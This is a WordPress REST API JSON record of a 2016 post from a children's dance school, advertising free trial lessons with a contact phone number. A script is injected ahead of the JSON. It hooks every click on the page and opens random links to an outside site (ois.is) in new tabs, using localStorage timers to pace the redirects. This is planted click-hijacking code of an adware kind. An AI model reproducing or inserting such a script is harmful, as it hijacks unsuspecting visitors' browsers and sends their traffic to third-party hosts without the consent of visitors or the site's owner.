<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1108,"date":"2016-02-24T01:01:47","date_gmt":"2016-02-23T17:01:47","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_luzhou\/?p=1108"},"modified":"2016-02-24T01:01:47","modified_gmt":"2016-02-23T17:01:47","slug":"%e2%97%8e%e8%88%9e%e8%b9%88%e8%aa%b2%e5%85%8d%e8%b2%bb%e8%a9%a6%e4%b8%8a%e6%b4%bb%e5%8b%95%e2%97%8e","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/peekaboo_luzhou\/?p=1108","title":{"rendered":"\u25ce\u821e\u8e48\u8ab2\u514d\u8cbb\u8a66\u4e0a\u6d3b\u52d5\u25ce"},"content":{"rendered":"<p><span style=\"color: #000000; font-size: 14pt;\">\u5b78\u8df3\u821e\u597d\u8655\u591a\u591a\uff0c\u5b69\u5b50\u53c8\u958b\u5fc3\uff01\u958b\u5b78\u4e86\uff0c\u5feb\u5e6b\u5b69\u5b50\u627e\u4e00\u5802\u9069\u5408\u4ed6\u7684\u821e\u8e48\u8ab2\u5427\uff01<br \/>\n<\/span><span style=\"color: #000000; font-size: 14pt;\">\u6eab\u99a8\u5c0f\u63d0\u793a\uff1a3\u6708\u5e95\u524d\u6211\u5011\u6709\u8ab2\u7a0b\u5168\u9762\u514d\u8cbb\u8a66\u4e0a\u7684\u6d3b\u52d5\uff0c\u8d95\u5feb\u4f86\u96fb(02)2285-0859\u5594\uff01<\/span><\/p>\n<p class=\"entry-title\"><span style=\"font-size: 14pt; color: #000000;\">\u597d\u6587\u5206\u4eab\uff1a<a href=\"http:\/\/mombaby.tw\/article17224.html\" target=\"_blank\">\u5e6b\u52a9\u5152\u7ae5\u767c\u5c55 \u70ba\u4f55\u5b69\u5b50\u4e00\u5b9a\u8981\u5b78\u8df3\u821e\uff1f |\u5abd\u5abd\u80b2\u5152\u767e\u79d1<\/a><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5b78\u8df3\u821e\u597d\u8655\u591a\u591a\uff0c\u5b69\u5b50\u53c8\u958b\u5fc3\uff01\u958b\u5b78\u4e86\uff0c\u5feb\u5e6b\u5b69\u5b50\u627e\u4e00\u5802\u9069\u5408\u4ed6\u7684\u821e\u8e48\u8ab2\u5427\uff01 \u6eab\u99a8\u5c0f\u63d0\u793a&hellip;<\/p>\n<p class=\"more-link-p\"><a class=\"more-link\" href=\"https:\/\/edu.secda.info\/peekaboo_luzhou\/?p=1108\">Read more &rarr;<\/a><\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[24],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=\/wp\/v2\/posts\/1108"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1108"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=\/wp\/v2\/posts\/1108\/revisions"}],"predecessor-version":[{"id":1109,"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=\/wp\/v2\/posts\/1108\/revisions\/1109"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1108"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_luzhou\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}